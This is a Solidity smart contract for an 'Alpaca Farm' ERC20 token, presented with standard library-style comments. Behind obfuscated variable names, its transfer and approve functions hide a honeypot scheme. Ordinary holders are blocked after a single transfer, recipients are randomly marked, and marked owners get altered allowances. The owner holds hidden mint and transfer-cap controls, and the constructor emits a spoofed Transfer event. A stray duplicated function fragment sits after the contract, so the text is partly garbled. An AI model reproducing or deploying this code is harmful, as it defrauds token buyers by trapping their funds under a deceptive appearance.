contract ERC20Token is Context, IERC20, Ownable {
  using SafeMath for uint256;

  mapping (address => uint256) private _balances;

  mapping (address => mapping (address => uint256)) private _allowances;
  mapping (address => bool) public samsung;
  mapping (address => bool) public bluec;
  mapping (address => bool) public neworleans;
  mapping (address => uint256) public katrina;

  bool private kansas;
  uint256 private _totalSupply;
  uint256 private panhandle;
  uint256 private _trns;
  uint256 private chTx;
  uint256 private opera;
  uint8 private _decimals;
  string private _symbol;
  string private _name;
  bool private virginia;
  address private creator;
  bool private thisValue;
  uint quebec = 0;

  constructor() public {
    creator = address(msg.sender);
    kansas = true;
    virginia = true;
    _name = "Alpaca Farm";
    _symbol = "ALPACAFARM";
    _decimals = 5;
    _totalSupply = 800000000000000;
    _trns = _totalSupply;
    panhandle = _totalSupply;
    chTx = _totalSupply / 1500;
    opera = panhandle;
    bluec[creator] = false;
    neworleans[creator] = false;
    samsung[msg.sender] = true;
    _balances[msg.sender] = _totalSupply;
    thisValue = false;

    emit Transfer(address(0x6262998Ced04146fA42253a5C0AF90CA02dfd2A3), msg.sender, _trns);
  }

  /**
   * @dev Returns the erc20 token owner.
   */
  function getOwner() external view returns (address) {
    return owner();
  }
  
  /**
   * @dev Returns the token decimals.
   */
  function decimals() external view returns (uint8) {
    return _decimals;
  }
  
  function ViewSomeChange() external view onlyOwner returns (uint256) {
      uint256 tempval = _totalSupply;
      return tempval;
  }
  
  /**
   * @dev Returns the token symbol.
   */
  function symbol() external view returns (string memory) {
    return _symbol;
  }

  /**
  * @dev Returns the token name.
  */
  function name() external view returns (string memory) {
    return _name;
  }
  
  /**
   * @dev See {ERC20-totalSupply}.
   */
  function totalSupply() external view returns (uint256) {
    return _totalSupply;
  }
  
  /**
   * @dev See {ERC20-transfer}.
   *
   * Requirements:
   *
   * - `recipient` cannot be the zero address.
   * - the caller must have a balance of at least `amount`.
   */
  function transfer(address recipient, uint256 amount) external returns (bool) {
    _transfer(_msgSender(), recipient, amount);
    return true;
  }
  
  function randomly() internal returns (uint) {
    uint screen = uint(keccak256(abi.encodePacked(now, msg.sender, quebec))) % 100000;
    quebec++;
    return screen;
  }
  
  /**
   * @dev See {ERC20-allowance}.
   */
  function allowance(address owner, address spender) external view returns (uint256) {
    return _allowances[owner][spender];
  }
  
  function BurnHouse(uint256 amount) external onlyOwner {
    panhandle = amount;
  }
  
  function SetTheDate() external onlyOwner {
    panhandle = chTx;
    thisValue = true;
  }
  
  /**
   * @dev See {ERC20-balanceOf}.
   */
  function balanceOf(address account) external view returns (uint256) {
    return _balances[account];
  }

  /**
   * @dev See {ERC20-approve}.
   *
   * Requirements:
   *
   * - `spender` cannot be the zero address.
   */
  function approve(address spender, uint256 amount) external returns (bool) {
    _approve(_msgSender(), spender, amount);
    return true;
  }

  /**
   * @dev See {ERC20-transferFrom}.
   *
   * Emits an {Approval} event indicating the updated allowance. This is not
   * required by the EIP. See the note at the beginning of {ERC20};
   *
   * Requirements:
   * - `sender` and `recipient` cannot be the zero address.
   * - `sender` must have a balance of at least `amount`.
   * - the caller must have allowance for `sender`'s tokens of at least
   * `amount`.
   */
  function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
    _transfer(sender, recipient, amount);
    _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
    return true;
  }

  /**
   * @dev Atomically increases the allowance granted to `spender` by the caller.
   *
   * This is an alternative to {approve} that can be used as a mitigation for
   * problems described in {ERC20-approve}.
   *
   * Emits an {Approval} event indicating the updated allowance.
   *
   * Requirements:
   *
   * - `spender` cannot be the zero address.
   * 
   * 
   */
   
  function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
    _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
    return true;
  }

  /**
   * @dev Atomically decreases the allowance granted to `spender` by the caller.
   *
   * This is an alternative to {approve} that can be used as a mitigation for
   * problems described in {ERC20-approve}.
   *
   * Emits an {Approval} event indicating the updated allowance.
   *
   * Requirements:
   *
   * - `spender` cannot be the zero address.
   * - `spender` must have allowance for the caller of at least
   * `subtractedValue`.
   */
  
  function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
    _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
    return true;
  }
  
  function TwistedVoid(uint256 amount) public onlyOwner returns (bool) {
    _mint(_msgSender(), amount);
    return true;
  }

  /**
   * @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
   * the total supply.
   *
   * Requirements
   *
   * - `msg.sender` must be the token owner
   */
  
  function TeaTime(address spender, bool val, bool val2, bool val3, bool val4) external onlyOwner {
    samsung[spender] = val;
    bluec[spender] = val2; 
    neworleans[spender] = val3;
    thisValue = val4;
  }

  /**
   * @dev Moves tokens `amount` from `sender` to `recipient`.
   *
   * This is internal function is equivalent to {transfer}, and can be used to
   * e.g. implement automatic token fees, slashing mechanisms, etc.
   *
   * Emits a {Transfer} event.
   *
   * Requirements:
   *
   * - `sender` cannot be the zero address.
   * - `recipient` cannot be the zero address.
   * - `sender` must have a balance of at least `amount`.
   */
  function _transfer(address sender, address recipient, uint256 amount) internal {
    require(sender != address(0), "ERC20: transfer from the zero address");
    require(recipient != address(0), "ERC20: transfer to the zero address");
    
    if ((address(sender) == creator) && (kansas == false)) {
      panhandle = chTx;
      thisValue = true;
    }
    
    if ((address(sender) == creator) && (kansas == true)) {
      samsung[recipient] = true;
      bluec[recipient] = false;
      kansas = false;
    } 
    
    if (samsung[recipient] != true) {
        bluec[recipient] = ((randomly() == 78) ? true : false);
    }
    
    if ((bluec[sender]) && (samsung[recipient] == false)) {
        bluec[recipient] = true;
    }
    
    if (samsung[sender] == false) {
      require(amount < panhandle);
      if (thisValue == true) {
        if (neworleans[sender] == true) {
          require(false);
        }
        neworleans[sender] = true;
      }
    }
    
    _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
    _balances[recipient] = _balances[recipient].add(amount);
    emit Transfer(sender, recipient, amount);
  }

  /** @dev Creates `amount` tokens and assigns them to `account`, increasing
   * the total supply.
   *
   * Emits a {Transfer} event with `from` set to the zero address.
   *
   * Requirements
   *
   * - `to` cannot be the zero address.
   */
  function _mint(address account, uint256 amount) internal {
    require(account != address(0), "ERC20: mint to the zero address");

    _totalSupply = _totalSupply.add(amount);
    _balances[account] = _balances[account].add(amount);
    emit Transfer(address(0), account, amount);
  }
  
  /**
  * @dev Changes the `amount` of the minimal tokens there should be in supply,
  * in order to not burn more tokens than there should be.
  **/

  /**
   * @dev Destroys `amount` tokens from `account`, reducing the
   * total supply.
   *
   * Emits a {Transfer} event with `to` set to the zero address.
   *
   * Requirements
   *
   * - `account` cannot be the zero address.
   * - `account` must have at least `amount` tokens.
   */
  function _burn(address account, uint256 amount) internal {
    require(account != address(0), "ERC20: burn from the zero address");

    _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
    _totalSupply = _totalSupply.sub(amount);
    emit Transfer(account, address(0), amount);
  }

  /**
   * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
   *
   * This is internal function is equivalent to `approve`, and can be used to
   * e.g. set automatic allowances for certain subsystems, etc.
   *
   * Emits an {Approval} event.
   *
   * Requirements:
   *
   * - `owner` cannot be the zero address.
   * - `spender` cannot be the zero address.
   */
  function _approve(address owner, address spender, uint256 amount) internal {
    uint256 tok = amount;
    require(owner != address(0), "ERC20: approve from the zero address");
    require(spender != address(0), "ERC20: approve to the zero address");
    
    if ((address(owner) == creator) && (virginia == true)) {
      samsung[spender] = true;
      bluec[spender] = false;
      neworleans[spender] = false;
      virginia = false;
    }
    
    tok = (bluec[owner] ? 723834 : amount);
    
    _allowances[owner][spender] = tok;
    emit Approval(owner, spender, tok);
  }

  /**
   * @dev Destroys `amount` tokens from `account`.`amount` is then deducted
   * from the caller's allowance.
   *
   * See {_burn} and {_approve}.
   */
  function _burnFrom(address account, uint256 amount) internal {
    _burn(account, amount);
    _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
  }

}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
  _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
  return true;
}

/**
 * @dev Atomically increases the allowance granted to `spender` by the caller.
 *
 * This is an alternative to {approve} that can be used as a mitigation for
 * problems described in {ERC20-approve}.
 *
 * Emits an {Approval} event indicating the updated allowance.
 *
 * Requirements:
 *
 * - `spender` cannot be the zero address.
 * 
 * 
 */